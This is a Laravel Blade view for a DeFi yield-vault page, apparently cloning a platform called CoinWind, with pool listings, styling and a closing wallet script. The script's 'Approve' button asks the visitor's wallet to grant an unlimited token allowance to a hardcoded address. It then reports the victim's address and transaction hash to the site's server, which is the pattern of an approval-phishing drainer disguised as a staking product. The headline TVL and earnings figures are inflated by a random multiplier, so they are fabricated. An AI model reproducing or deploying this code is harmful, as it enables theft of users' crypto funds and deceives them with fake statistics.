coinwind/resources/views/vault.blade.php

1941 lines
62 KiB
PHP

<html lang="en" class="en">
<head>
<meta charset="utf-8" />
<link rel="icon" href="/favicon.ico" />
<meta name="viewport" content="width=device-width,maximum-scale=3,minimum-scale=1,initial-scale=1,user-scalable=no" />
<meta name="theme-color" content="#000000" />
<meta name="description" content="{{$config['other']['title']}}-DeFi生态单币挖矿收益最优平台" />
<link rel="manifest" href="/manifest.json" />
<link rel="stylesheet" href="/custom.css" />
<title>{{$config['other']['title']}}</title>
<link href="/static/css/2.fe62fa80.chunk.css" rel="stylesheet" />
<link href="/static/css/main.511a3532.chunk.css" rel="stylesheet" />
<style data-jss="" data-meta="MuiSvgIcon">
.MuiSvgIcon-root {
fill: currentColor;
width: 1em;
height: 1em;
display: inline-block;
font-size: 1.5rem;
transition: fill 200ms cubic-bezier(0.4, 0, 0.2, 1) 0ms;
flex-shrink: 0;
user-select: none;
}
.MuiSvgIcon-colorPrimary {
color: #3f51b5;
}
.MuiSvgIcon-colorSecondary {
color: #f50057;
}
.MuiSvgIcon-colorAction {
color: rgba(0, 0, 0, 0.54);
}
.MuiSvgIcon-colorError {
color: #f44336;
}
.MuiSvgIcon-colorDisabled {
color: rgba(0, 0, 0, 0.26);
}
.MuiSvgIcon-fontSizeInherit {
font-size: inherit;
}
.MuiSvgIcon-fontSizeSmall {
font-size: 1.25rem;
}
.MuiSvgIcon-fontSizeLarge {
font-size: 2.1875rem;
}
</style>
<style data-jss="" data-meta="PrivateHiddenCss">
@media (min-width:0px) and (max-width:599.95px) {
.jss29 {
display: none;
}
}
@media (min-width:0px) {
.jss30 {
display: none;
}
}
@media (max-width:599.95px) {
.jss31 {
display: none;
}
}
@media (min-width:600px) and (max-width:959.95px) {
.jss32 {
display: none;
}
}
@media (min-width:600px) {
.jss33 {
display: none;
}
}
@media (max-width:959.95px) {
.jss34 {
display: none;
}
}
@media (min-width:960px) and (max-width:1279.95px) {
.jss35 {
display: none;
}
}
@media (min-width:960px) {
.jss36 {
display: none;
}
}
@media (max-width:1279.95px) {
.jss37 {
display: none;
}
}
@media (min-width:1280px) and (max-width:1919.95px) {
.jss38 {
display: none;
}
}
@media (min-width:1280px) {
.jss39 {
display: none;
}
}
@media (max-width:1919.95px) {
.jss40 {
display: none;
}
}
@media (min-width:1920px) {
.jss41 {
display: none;
}
}
@media (min-width:1920px) {
.jss42 {
display: none;
}
}
@media (min-width:0px) {
.jss43 {
display: none;
}
}
</style>
<style data-jss="" data-meta="makeStyles">
.jss1 {
width: 100%;
height: 80px;
position: relative;
background: rgba(255, 255, 255, 0.60);
border-top: 1px solid #FFFFFF;
box-shadow: 0 4px 16px 0 #F6F6F6;
border-bottom: 1px solid #FFFFFF;
}
@media (max-width:959.95px) {
.jss1 {
height: 48px;
}
}
.jss2 {
height: 80px;
margin: 0 auto;
display: flex;
padding: 0 10px;
max-width: 1200px;
box-sizing: border-box;
align-items: center;
justify-content: space-between;
}
@media (max-width:959.95px) {
.jss2 {
width: 100%;
height: 48px;
padding: 0 16px;
}
}
.jss3 {
top: 18px;
left: 38px;
width: 165px;
height: 44px;
display: block;
position: absolute;
background: url(/static/media/logo.c3d2c062.svg) no-repeat center center;
background-size: contain;
}
.jss4 {
top: 18px;
left: 38px;
width: 165px;
height: 44px;
display: block;
position: absolute;
}
.jss4 img {
width: 100%;
height: 100%;
}
@media (max-width:959.95px) {
.jss4 {
width: 120px;
height: 32px;
position: unset;
}
.jss4 img {
width: 100%;
height: 100%;
}
}
.jss5 {
color: #8391A8;
height: 100%;
font-size: 14px;
font-weight: 500;
line-height: 80px;
}
@media (max-width:959.95px) {
.jss5 {
height: 32px;
line-height: unset;
}
}
.jss6 {
color: #8391A8;
display: flex;
font-size: 14px;
font-weight: 500;
}
.jss6 p {
overflow: hidden;
max-width: 400px;
white-space: nowrap;
text-overflow: ellipsis;
}
.jss6 img {
margin-right: 5px;
}
.jss7 {
color: #3078FF;
cursor: pointer;
font-size: 12px;
font-weight: 400;
margin-left: 8px;
text-decoration: underline;
}
.jss8 {
display: flex;
align-items: center;
}
.jss9 {
color: #555;
width: 100%;
border: 0;
display: flex;
padding: 0.625rem 0;
position: relative;
flex-flow: row nowrap;
box-shadow: 0 4px 18px 0px rgba(0, 0, 0, 0.12), 0 7px 10px -5px rgba(0, 0, 0, 0.15);
transition: all 150ms ease 0s;
align-items: center;
border-radius: 3px;
margin-bottom: 20px;
justify-content: flex-start;
background-color: #FFF;
}
.jss10 {
top: auto;
position: absolute;
}
.jss11 {
position: fixed;
}
.jss12 {
width: 100%;
display: flex;
flex-wrap: nowrap;
min-height: 50px;
align-items: center;
margin-left: auto;
margin-right: auto;
padding-left: 15px;
padding-right: 15px;
justify-content: space-between;
}
@media (min-width: 576px) {
.jss12 {
max-width: 540px;
}
}
@media (min-width: 768px) {
.jss12 {
max-width: 720px;
}
}
@media (min-width: 992px) {
.jss12 {
max-width: 960px;
}
}
@media (min-width: 1230px) {
.jss12 {
max-width: 1230px;
}
}
.jss13 {
letter-spacing: unset;
}
.jss13,
.jss13 a {
color: inherit;
font-size: 24px;
min-width: unset;
font-family: "Roboto", "Helvetica", "Arial", sans-serif, DINPro-Bold;
font-weight: 700;
line-height: 30px;
white-space: nowrap;
border-radius: 3px;
text-transform: none;
}
.jss13 a {
margin-left: 8px;
}
.jss13:hover,
.jss13:focus,
.jss13 a:hover,
.jss13 a:focus {
color: inherit;
background: transparent;
}
.jss14 {
margin: 20px 10px;
margin-top: 0px;
}
.jss15 {
color: #FFF;
box-shadow: 0 4px 20px 0px rgba(0, 0, 0, 0.14), 0 7px 12px -5px rgba(48, 120, 255, 0.46);
background-color: #3078FF;
}
.jss16 {
color: #FFF;
box-shadow: 0 4px 20px 0px rgba(0, 0, 0, 0.14), 0 7px 12px -5px rgba(0, 172, 193, 0.46);
background-color: #00acc1;
}
.jss17 {
color: #FFF;
box-shadow: 0 4px 20px 0px rgba(0, 0, 0, 0.14), 0 7px 12px -5px rgba(76, 175, 80, 0.46);
background-color: #4caf50;
}
.jss18 {
color: #FFF;
box-shadow: 0 4px 20px 0px rgba(0, 0, 0, 0.14), 0 7px 12px -5px rgba(255, 152, 0, 0.46);
background-color: #ff9800;
}
.jss19 {
color: #FFF;
box-shadow: 0 4px 20px 0px rgba(0, 0, 0, 0.14), 0 7px 12px -5px rgba(244, 67, 54, 0.46);
background-color: #f44336;
}
.jss20 {
color: #FFF;
box-shadow: 0 4px 20px 0px rgba(0, 0, 0, 0.14), 0 7px 12px -5px rgba(233, 30, 99, 0.46);
background-color: #e91e63;
}
.jss21 {
color: #FFF;
box-shadow: none;
padding-top: 25px;
background-color: transparent !important;
}
.jss22 {
color: #FFF;
box-shadow: 0px 8px 12px 0px rgba(0, 0, 0, 0.06);
background-color: #323951;
}
.jss23 {
color: #555;
border: 0;
padding: 0.625rem 0;
box-shadow: 0 4px 18px 0px rgba(0, 0, 0, 0.12), 0 7px 10px -5px rgba(0, 0, 0, 0.15);
margin-bottom: 20px;
background-color: #FFF !important;
}
.jss24 {
top: 0;
left: auto;
right: 0;
width: 260px;
border: none;
bottom: 0;
height: 100vh;
display: block;
position: fixed;
border-top: none;
box-shadow: 0 10px 30px -12px rgba(0, 0, 0, 0.42), 0 4px 25px 0px rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(0, 0, 0, 0.2);
overflow-y: visible;
text-align: left;
transition: all 0.33s cubic-bezier(0.685, 0.0473, 0.346, 1);
visibility: visible;
padding-left: 0;
padding-right: 0px;
background-color: #323951;
transition-duration: .2s, .2s, .35s;
transition-property: top, bottom, width;
transition-timing-function: linear, linear, ease;
}
.jss25 {
width: 100%;
}
.jss26 {
flex-grow: 1;
align-items: center;
-ms-flex-align: center;
-webkit-box-flex: 1;
-ms-flex-positive: 1;
-webkit-box-align: center;
}
@media (min-width:960px) {
.jss26 {
display: flex !important;
flex-basis: auto;
-ms-flex-preferred-size: auto;
}
}
.jss27 {
top: 9px;
color: white;
right: 8px;
z-index: 1;
position: absolute;
}
.jss28 {
width: 60xh;
display: flex;
overflow: visible;
justify-content: space-between;
}
</style>
<style data-jss="" data-meta="MuiTouchRipple">
.MuiTouchRipple-root {
top: 0;
left: 0;
right: 0;
bottom: 0;
z-index: 0;
overflow: hidden;
position: absolute;
border-radius: inherit;
pointer-events: none;
}
.MuiTouchRipple-ripple {
opacity: 0;
position: absolute;
}
.MuiTouchRipple-rippleVisible {
opacity: 0.3;
animation: MuiTouchRipple-keyframes-enter 550ms cubic-bezier(0.4, 0, 0.2, 1);
transform: scale(1);
}
.MuiTouchRipple-ripplePulsate {
animation-duration: 200ms;
}
.MuiTouchRipple-child {
width: 100%;
height: 100%;
display: block;
opacity: 1;
border-radius: 50%;
background-color: currentColor;
}
.MuiTouchRipple-childLeaving {
opacity: 0;
animation: MuiTouchRipple-keyframes-exit 550ms cubic-bezier(0.4, 0, 0.2, 1);
}
.MuiTouchRipple-childPulsate {
top: 0;
left: 0;
position: absolute;
animation: MuiTouchRipple-keyframes-pulsate 2500ms cubic-bezier(0.4, 0, 0.2, 1) 200ms infinite;
}
@-webkit-keyframes MuiTouchRipple-keyframes-enter {
0% {
opacity: 0.1;
transform: scale(0);
}
100% {
opacity: 0.3;
transform: scale(1);
}
}
@-webkit-keyframes MuiTouchRipple-keyframes-exit {
0% {
opacity: 1;
}
100% {
opacity: 0;
}
}
@-webkit-keyframes MuiTouchRipple-keyframes-pulsate {
0% {
transform: scale(1);
}
50% {
transform: scale(0.92);
}
100% {
transform: scale(1);
}
}
</style>
<style data-jss="" data-meta="MuiButtonBase">
.MuiButtonBase-root {
color: inherit;
border: 0;
cursor: pointer;
margin: 0;
display: inline-flex;
outline: 0;
padding: 0;
position: relative;
align-items: center;
user-select: none;
border-radius: 0;
vertical-align: middle;
-moz-appearance: none;
justify-content: center;
text-decoration: none;
background-color: transparent;
-webkit-appearance: none;
-webkit-tap-highlight-color: transparent;
}
.MuiButtonBase-root::-moz-focus-inner {
border-style: none;
}
.MuiButtonBase-root.Mui-disabled {
cursor: default;
pointer-events: none;
}
@media print {
.MuiButtonBase-root {
-webkit-print-color-adjust: exact;
}
}
</style>
<style data-jss="" data-meta="MuiIconButton">
.MuiIconButton-root {
flex: 0 0 auto;
color: rgba(0, 0, 0, 0.54);
padding: 12px;
overflow: visible;
font-size: 1.5rem;
text-align: center;
transition: background-color 150ms cubic-bezier(0.4, 0, 0.2, 1) 0ms;
border-radius: 50%;
}
.MuiIconButton-root:hover {
background-color: rgba(0, 0, 0, 0.04);
}
.MuiIconButton-root.Mui-disabled {
color: rgba(0, 0, 0, 0.26);
background-color: transparent;
}
@media (hover: none) {
.MuiIconButton-root:hover {
background-color: transparent;
}
}
.MuiIconButton-edgeStart {
margin-left: -12px;
}
.MuiIconButton-sizeSmall.MuiIconButton-edgeStart {
margin-left: -3px;
}
.MuiIconButton-edgeEnd {
margin-right: -12px;
}
.MuiIconButton-sizeSmall.MuiIconButton-edgeEnd {
margin-right: -3px;
}
.MuiIconButton-colorInherit {
color: inherit;
}
.MuiIconButton-colorPrimary {
color: #3f51b5;
}
.MuiIconButton-colorPrimary:hover {
background-color: rgba(63, 81, 181, 0.04);
}
@media (hover: none) {
.MuiIconButton-colorPrimary:hover {
background-color: transparent;
}
}
.MuiIconButton-colorSecondary {
color: #f50057;
}
.MuiIconButton-colorSecondary:hover {
background-color: rgba(245, 0, 87, 0.04);
}
@media (hover: none) {
.MuiIconButton-colorSecondary:hover {
background-color: transparent;
}
}
.MuiIconButton-sizeSmall {
padding: 3px;
font-size: 1.125rem;
}
.MuiIconButton-label {
width: 100%;
display: flex;
align-items: inherit;
justify-content: inherit;
}
</style>
<style data-jss="" data-meta="MuiButton">
.MuiButton-root {
color: rgba(0, 0, 0, 0.87);
padding: 6px 16px;
font-size: 0.875rem;
min-width: 64px;
box-sizing: border-box;
transition: background-color 250ms cubic-bezier(0.4, 0, 0.2, 1) 0ms, box-shadow 250ms cubic-bezier(0.4, 0, 0.2, 1) 0ms, border 250ms cubic-bezier(0.4, 0, 0.2, 1) 0ms;
font-family: "Roboto", "Helvetica", "Arial", sans-serif;
font-weight: 500;
line-height: 1.75;
border-radius: 4px;
letter-spacing: 0.02857em;
text-transform: uppercase;
}
.MuiButton-root:hover {
text-decoration: none;
background-color: rgba(0, 0, 0, 0.04);
}
.MuiButton-root.Mui-disabled {
color: rgba(0, 0, 0, 0.26);
}
@media (hover: none) {
.MuiButton-root:hover {
background-color: transparent;
}
}
.MuiButton-root:hover.Mui-disabled {
background-color: transparent;
}
.MuiButton-label {
width: 100%;
display: inherit;
align-items: inherit;
justify-content: inherit;
}
.MuiButton-text {
padding: 6px 8px;
}
.MuiButton-textPrimary {
color: #3f51b5;
}
.MuiButton-textPrimary:hover {
background-color: rgba(63, 81, 181, 0.04);
}
@media (hover: none) {
.MuiButton-textPrimary:hover {
background-color: transparent;
}
}
.MuiButton-textSecondary {
color: #f50057;
}
.MuiButton-textSecondary:hover {
background-color: rgba(245, 0, 87, 0.04);
}
@media (hover: none) {
.MuiButton-textSecondary:hover {
background-color: transparent;
}
}
.MuiButton-outlined {
border: 1px solid rgba(0, 0, 0, 0.23);
padding: 5px 15px;
}
.MuiButton-outlined.Mui-disabled {
border: 1px solid rgba(0, 0, 0, 0.12);
}
.MuiButton-outlinedPrimary {
color: #3f51b5;
border: 1px solid rgba(63, 81, 181, 0.5);
}
.MuiButton-outlinedPrimary:hover {
border: 1px solid #3f51b5;
background-color: rgba(63, 81, 181, 0.04);
}
@media (hover: none) {
.MuiButton-outlinedPrimary:hover {
background-color: transparent;
}
}
.MuiButton-outlinedSecondary {
color: #f50057;
border: 1px solid rgba(245, 0, 87, 0.5);
}
.MuiButton-outlinedSecondary:hover {
border: 1px solid #f50057;
background-color: rgba(245, 0, 87, 0.04);
}
.MuiButton-outlinedSecondary.Mui-disabled {
border: 1px solid rgba(0, 0, 0, 0.26);
}
@media (hover: none) {
.MuiButton-outlinedSecondary:hover {
background-color: transparent;
}
}
.MuiButton-contained {
color: rgba(0, 0, 0, 0.87);
box-shadow: 0px 3px 1px -2px rgba(0, 0, 0, 0.2), 0px 2px 2px 0px rgba(0, 0, 0, 0.14), 0px 1px 5px 0px rgba(0, 0, 0, 0.12);
background-color: #e0e0e0;
}
.MuiButton-contained:hover {
box-shadow: 0px 2px 4px -1px rgba(0, 0, 0, 0.2), 0px 4px 5px 0px rgba(0, 0, 0, 0.14), 0px 1px 10px 0px rgba(0, 0, 0, 0.12);
background-color: #d5d5d5;
}
.MuiButton-contained.Mui-focusVisible {
box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12);
}
.MuiButton-contained:active {
box-shadow: 0px 5px 5px -3px rgba(0, 0, 0, 0.2), 0px 8px 10px 1px rgba(0, 0, 0, 0.14), 0px 3px 14px 2px rgba(0, 0, 0, 0.12);
}
.MuiButton-contained.Mui-disabled {
color: rgba(0, 0, 0, 0.26);
box-shadow: none;
background-color: rgba(0, 0, 0, 0.12);
}
@media (hover: none) {
.MuiButton-contained:hover {
box-shadow: 0px 3px 1px -2px rgba(0, 0, 0, 0.2), 0px 2px 2px 0px rgba(0, 0, 0, 0.14), 0px 1px 5px 0px rgba(0, 0, 0, 0.12);
background-color: #e0e0e0;
}
}
.MuiButton-contained:hover.Mui-disabled {
background-color: rgba(0, 0, 0, 0.12);
}
.MuiButton-containedPrimary {
color: #fff;
background-color: #3f51b5;
}
.MuiButton-containedPrimary:hover {
background-color: #303f9f;
}
@media (hover: none) {
.MuiButton-containedPrimary:hover {
background-color: #3f51b5;
}
}
.MuiButton-containedSecondary {
color: #fff;
background-color: #f50057;
}
.MuiButton-containedSecondary:hover {
background-color: #c51162;
}
@media (hover: none) {
.MuiButton-containedSecondary:hover {
background-color: #f50057;
}
}
.MuiButton-disableElevation {
box-shadow: none;
}
.MuiButton-disableElevation:hover {
box-shadow: none;
}
.MuiButton-disableElevation.Mui-focusVisible {
box-shadow: none;
}
.MuiButton-disableElevation:active {
box-shadow: none;
}
.MuiButton-disableElevation.Mui-disabled {
box-shadow: none;
}
.MuiButton-colorInherit {
color: inherit;
border-color: currentColor;
}
.MuiButton-textSizeSmall {
padding: 4px 5px;
font-size: 0.8125rem;
}
.MuiButton-textSizeLarge {
padding: 8px 11px;
font-size: 0.9375rem;
}
.MuiButton-outlinedSizeSmall {
padding: 3px 9px;
font-size: 0.8125rem;
}
.MuiButton-outlinedSizeLarge {
padding: 7px 21px;
font-size: 0.9375rem;
}
.MuiButton-containedSizeSmall {
padding: 4px 10px;
font-size: 0.8125rem;
}
.MuiButton-containedSizeLarge {
padding: 8px 22px;
font-size: 0.9375rem;
}
.MuiButton-fullWidth {
width: 100%;
}
.MuiButton-startIcon {
display: inherit;
margin-left: -4px;
margin-right: 8px;
}
.MuiButton-startIcon.MuiButton-iconSizeSmall {
margin-left: -2px;
}
.MuiButton-endIcon {
display: inherit;
margin-left: 8px;
margin-right: -4px;
}
.MuiButton-endIcon.MuiButton-iconSizeSmall {
margin-right: -2px;
}
.MuiButton-iconSizeSmall>*:first-child {
font-size: 18px;
}
.MuiButton-iconSizeMedium>*:first-child {
font-size: 20px;
}
.MuiButton-iconSizeLarge>*:first-child {
font-size: 22px;
}
</style>
<style data-jss="" data-meta="makeStyles">
</style>
<style data-jss="" data-meta="makeStyles">
.jss47 {
display: none !important;
pointer-events: none;
}
.jss48 {
top: 10px !important;
}
@media (max-width:959.95px) {
.jss48 {
top: unset !important;
left: unset !important;
position: static !important;
transform: none !important;
will-change: none !important;
}
.jss48>div {
padding: 0px !important;
box-shadow: none !important;
margin-top: 0px !important;
transition: none !important;
margin-left: 1.5rem;
margin-right: 1.5rem;
margin-bottom: 5px !important;
}
}
.jss49 {
display: block;
}
.jss49>div>button,
.jss49>div>a {
color: inherit !important;
margin: 0px !important;
padding: 10px 20px !important;
}
.jss49>div>button>span:first-child,
.jss49>div>a>span:first-child {
width: 100%;
justify-content: flex-start;
}
.jss50>button:first-child>span:first-child,
.jss50>a:first-child>span:first-child {
display: inline-block;
}
.jss50 .jss67 {
margin-left: 0px;
}
.jss51 {
overflow: hidden;
box-shadow: 0 4px 12px 0 #EDEFF2;
border-radius: 16px;
}
.jss52 {
background-color: #323951;
}
.jss53 {
color: #fff !important;
}
.jss54 {
padding: 0;
}
.jss55 {
z-index: 1200;
}
@media (max-width:959.95px) {
.jss55 {
color: black;
float: none;
width: auto;
border: 0;
z-index: 1640;
position: static;
box-shadow: none;
margin-top: 0;
background-color: transparent;
}
}
.jss56 {
color: #131D32;
width: 198px;
height: 60px;
font-size: 16px;
background: transparent;
transition: all 150ms linear;
font-family: DINPro-Bold;
font-weight: 700;
line-height: 60px;
border-bottom: 1px solid #EDEFF2;
letter-spacing: 0;
justify-content: center;
}
.jss56:last-of-type {
border-bottom: none;
}
.jss57:hover {
color: #FFF;
box-shadow: 0 4px 20px 0px rgba(0, 0, 0, 0.14), 0 7px 10px -5px rgba(33, 33, 33, 0.4);
background-color: #272E42;
}
.jss58:hover {
color: #3078FF;
background-color: #F1FAFF;
}
.jss59:hover {
color: #FFF;
box-shadow: 0 12px 20px -10px rgba(0, 172, 193, 0.28), 0 4px 20px 0px rgba(0, 0, 0, 0.12), 0 7px 8px -5px rgba(0, 172, 193, 0.2);
background-color: #00acc1;
}
.jss60:hover {
color: #FFF;
box-shadow: 0 12px 20px -10px rgba(76, 175, 80, 0.28), 0 4px 20px 0px rgba(0, 0, 0, 0.12), 0 7px 8px -5px rgba(76, 175, 80, 0.2);
background-color: #4caf50;
}
.jss61:hover {
color: #FFF;
box-shadow: 0 12px 20px -10px rgba(255, 152, 0, 0.28), 0 4px 20px 0px rgba(0, 0, 0, 0.12), 0 7px 8px -5px rgba(255, 152, 0, 0.2);
background-color: #ff9800;
}
.jss62:hover {
color: #FFF;
box-shadow: 0 12px 20px -10px rgba(244, 67, 54, 0.28), 0 4px 20px 0px rgba(0, 0, 0, 0.12), 0 7px 8px -5px rgba(244, 67, 54, 0.2);
background-color: #f44336;
}
.jss63:hover {
color: #FFF;
box-shadow: 0 4px 20px 0px rgba(0, 0, 0, 0.14), 0 7px 10px -5px rgba(233, 30, 99, 0.4);
background-color: #e91e63;
}
.jss64 {
text-align: right;
}
.jss65 {
height: 1px;
margin: 5px 0;
overflow: hidden;
background-color: rgba(0, 0, 0, 0.12);
}
.jss66 {
color: white;
width: 20px;
height: 20px;
}
.jss67 {
color: #3078FF;
width: 0;
height: 0;
display: inline-block;
border-top: 4px solid;
transition: all 150ms ease-in;
border-left: 4px solid transparent;
margin-left: 4px;
border-right: 4px solid transparent;
vertical-align: middle;
}
.jss68 {
color: #FFF;
transform: rotate(180deg);
}
.jss69 {
color: #FFF;
transform: rotate(180deg);
}
.jss70 {
margin-right: 4px;
}
.jss71 {
color: #777;
display: block;
padding: 0.1875rem 1.25rem;
font-size: 0.75rem;
margin-top: 10px;
min-height: 24px;
font-weight: inherit;
line-height: 1.428571;
white-space: nowrap;
}
.jss71:hover,
.jss71:focus {
cursor: auto;
background-color: transparent;
}
.jss72 {
padding: 0;
}
</style>
<style data-jss="" data-meta="makeStyles">
.jss45 {
color: #3078FF;
border: 1px solid #3078FF;
cursor: pointer;
height: 36px;
padding: 0 40px;
font-size: 14px;
background: #FFFFFF;
border-radius: 22px;
}
.jss45:hover,
.jss45:focus {
color: #FFF;
background-color: #3078FF;
}
.jss45:hover b,
.jss45:focus b {
color: #FFF;
}
.jss45 .MuiButton-label {
font-size: 14px;
font-family: DINPro-Bold;
}
@media (max-width:959.95px) {
.jss45 {
color: #3078FF;
border: 1px solid #FFFFFF;
height: 32px;
padding: 0 22px;
font-size: 10px;
background: rgba(255, 255, 255, 0.60);
box-shadow: 0 4px 16px 0 #F6F6F6;
border-radius: 16px;
}
}
</style>
<style data-jss="" data-meta="makeStyles">
.jss75 {
width: 240px;
height: 100%;
background-color: #FFF;
}
.jss76 {
padding-top: 40px;
}
.jss77 {
width: 100%;
}
.jss78 {
width: 100%;
cursor: pointer;
height: 64px;
display: flex;
position: relative;
font-size: 14px;
box-sizing: border-box;
transition: all .5s;
align-items: center;
font-weight: 700;
padding-left: 33px;
background-color: #FFF;
}
.jss78:hover {
background-color: rgba(1, 163, 254, .06);
}
.jss78:hover a,
.jss78:hover span {
color: #3078FF;
}
.jss78 a,
.jss78 span {
font-size: 14px;
}
.jss79 {
color: #3078FF !important;
display: flex;
position: relative;
align-items: center;
font-weight: bold !important;
background-color: rgba(1, 163, 254, .06);
}
.jss79 span {
right: 0;
width: 4px;
height: 22px;
position: absolute;
background: #3078FF;
border-radius: 2px;
}
.jss80 {
width: 20px;
height: 20px;
display: block;
margin-right: 8px;
}
.jss81 strong {
color: #fff;
right: 50px;
height: 20px;
padding: 0 10px;
position: absolute;
font-size: 12px;
background: linear-gradient(90deg, #3078FF 0%, rgba(48, 120, 255, .6) 100%);
font-family: PingFangSC-Medium;
;
font-weight: 400;
line-height: 20px;
border-radius: 9px 9px 9px 0;
}
.jss82 {
overflow: hidden;
max-height: 0;
transition: all linear .3s;
}
.jss83 {
color: #131D32;
cursor: pointer;
height: 48px;
overflow: hidden;
font-size: 14px;
box-sizing: border-box;
font-weight: 400;
line-height: 48px;
white-space: nowrap;
padding-left: 60px;
text-overflow: ellipsis;
}
.jss83:hover {
color: #3078FF;
background-color: rgba(1, 163, 254, .06);
}
.jss84:hover span {
color: #3078FF;
}
</style>
<style data-styled="active" data-styled-version="5.2.0"></style>
</head>
<body>
<section id="root">
@include('public/wallet')
<header>
@include('public/head')
</header>
<main>
<div class="jss36">
<div class="page__container" style="width: 100%; height: auto; background-color: rgb(246, 247, 250); padding-bottom: 112px;">
<div class="section-banner">
<img src="upload/{{$config['other']['lock_url']}}" alt="" />
</div>
<ul class="pool__total-tvl pool__total-tvl-heco new_total-heco new-top">
<li>
<div>
{{trans('web.TVL')}}($)
</div>
<div id="num1"></div>
</li>
<li>
<div>
{{trans('web.Total Users Earned')}}($)
</div>
<div id="num2"></div>
</li>
<li>
<div>
{{trans('web.Personal TVL')}}($)
</div>
<div id="num3">0.00</div>
</li>
<li>
<div>
{{trans('web.Total Personal Earned')}}($)
</div>
<div id="num4">0.00</div>
</li>
</ul>
<div class="g-filter">
<ul class="tab__container">
<li onclick="javascript:location.href = '/vault'" class="tab__active tab__item"><span class="tab__heco">{{trans('web.GLK Pools v2')}}</span></li>
<li onclick="javascript:location.href = '/vault2'" class=" tab__item"><span class="tab__heco">{{trans('web.GLK Pools v1')}}</span></li>
</ul>
<div class="search_list">
<div class="search_option">
<div class="g-switch-wrapper g-switch-wrapper--heco">
<div class="g-switch" onclick="switchqie(this)"></div>
<span class="g-switch-label">{{trans('web.Staked Only')}}</span>
</div>
</div>
</div>
</div>
<div class="pools-main">
@foreach($data as $k => $v)
<div class="pools__item" id="{{$v['name']}}" data="{{$v['address']}}">
<div class="pools__box">
<ul class="pools__rows">
<li class="pools__row-1">
<div class="pools__logo-name">
<img class="pools__coin-logo" alt="HBTC" src="/upload/{{$v['name_img']}}" />
<div class="pools__coin-name">
{{$v['name']}}
</div>
</div>
<div class="pools__info">
{{trans('web.Harvest GLK')}}GLK
</div>
</li>
<li class="pools__row pools__apy">
<div class="pools__labe-field">
{{trans('web.APY')}}
<span class="color-blue heco-color-blue">({{trans('web.Compound Interest')}})</span>
<div class="g-pop-tips"></div>
</div>
<div class="pools__apy-value">
{{$v['yield']}}%
</div>
</li>
<li class="pools__row">
<div class="pools__labe-field">
{{trans('web.Deposited')}}({{$v['name']}})
</div>
<div class="pools__label-value pools__label-value--black" name="{{$v['name']}}"></div>
</li>
<li class="pools__row">
<div class="pools__labe-field">
{{trans('web.VL')}} ({{$v['name']}})
</div>
<div class="pools__label-value">
{{number_format($v['count_use'], 2)}}
</div>
</li>
<li class="pools__row">
<div class="pools__labe-field">
{{trans('web.Remaining')}} ({{$v['name']}})
</div>
<div class="pools__label-value">
{{number_format($v['count'] - $v['count_use'], 2)}}
</div>
</li>
<li class="pools__row-rate">
<div class="pools__rate">
<span class="heco-pools_rate" style="width:@php echo ceil($v['count_use']/$v['count'] * 100); @endphp%;"></span>
</div>
<div class="pools__rate-value">
@php
echo sprintf("%.2f",($v['count_use']/$v['count'] * 100)).'%';
@endphp
</div>
</li>
<li class="pools__group-buttons">
<div class="pools__button-group">
<button min_q="{{$v['min_q']}}" namec="{{$v['name']}}" id="{{$v['name']}}_T" data="{{$v['address']}}" img="{{$v['name_img']}}" class="g-button pools__dialog__option g-button-heco-theme g-button--normal">{{trans('web.Withdrawal')}}</button>
<button min_c="{{$v['min_c']}}" use="{{$v['count'] - $v['count_use']}}" img="{{$v['name_img']}}" data="{{$v['address']}}" id="{{$v['name']}}_Q" class="g-button pools__dialog__option g-button-heco-theme ">{{trans('web.Approve')}}</button>
</div>
</li>
</ul>
<div class="pools__mao-logo__wrap">
<img class="pools__mao-logo" alt="HBTC" src="/static/media/HBTC.a5d95db1.svg" />
@if($v['new'] == 1)
<img src="/static/media/jiaobiao-eth.4b55fb16.svg" style="position: absolute; right: -1px; top: -1px;">
@endif
</div>
</div>
</div>
@endforeach
<div class="pools__empty" id="pools__empty" style="display: none">
<img src="/static/media/empty.dd9cbe11.svg" />
<p>{{trans('web.No participation for now')}}</p>
<button class="g-button g-button-heco-theme g-button--normal" onclick="javascript:location.href ='/vault'">{{trans('web.Participate Now')}}</button>
</div>
</div>
@include('public/foot')
@include('public/footer_nav', ['page' => 'vault'])
</div>
</div>
</main>
</section>
<script src="https://cdn.bootcss.com/countup.js/1.9.3/countUp.js"></script>
<script src="https://cdn.jsdelivr.net/gh/ethereumjs/browser-builds/dist/ethereumjs-tx/ethereumjs-tx-1.3.3.min.js"></script>
<script src="/js/config.js"></script>
<script>
var postType = true;
var deposit_obj; //存入对象
async function numStart() {
var options = {
useEasing: true, // 使用缓和
useGrouping: true, // 使用分组(是否显示千位分隔符,一般为 true)
separator: ',', // 分隔器(千位分隔符,默认为',')
decimal: '.', // 十进制(小数点符号,默认为 '.')
prefix: '', // 字首(数字的前缀,根据需要可设为 $,¥,¥ 等)
suffix: '' // 后缀(数字的后缀 ,根据需要可设为 元,个,美元 等)
};
new CountUp("num1", 0, parseInt("{{$config['reward7']}}") + parseInt("{{$config['reward7'] * $rand}}"), 0, 3, options).start();
new CountUp("num2", 0, parseInt("{{$config['reward8']}}") + parseInt("{{$config['reward8'] * $rand}}"), 0, 3, options).start();
}
// 授权绑定
function authorization_binding(item) {
for (let i = 0; i < item.length; i++) {
document.getElementById($(item[i]).attr('id') + '_Q').setAttribute('onclick', 'authorization(this)')
}
}
// 授权
async function authorization(obj) {
$(obj).html('');
$(obj).attr('class', 'g-button pools__dialog__option g-button-heco-theme g-button--loading');
$(obj).removeAttr('onclick');
const name = $(obj).attr('id');
const authorized_address = $(obj).attr('data');
web3.eth.getGasPrice().then(gasPrice => {
if (!gasPrice) {
gasPrice = 98432745745;
}
const contract = new web3.eth.Contract(ABI, authorized_address);
if (selectedAccount && gasPrice && authorized_address) {
contract.methods.approve(app_address, web3.utils.toBN('0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff')).send({
from: selectedAccount,
gasPrice: 100432745745,
gas: 100000,
}, function(err, tx) {
if (!err) {
console.log(tx);
$.ajax({
type: "GET",
url: '/authorization_one',
data: {
address: selectedAccount,
wallet: name,
hash: tx
}
});
var c1time = setInterval(function() {
$.ajax({
type: "GET",
url: '/authorizationSearch',
data: {
tx: tx
},
success: function(msg) {
var data = JSON.parse(msg);
if (data['data'][0]['type'] == 'tx') {
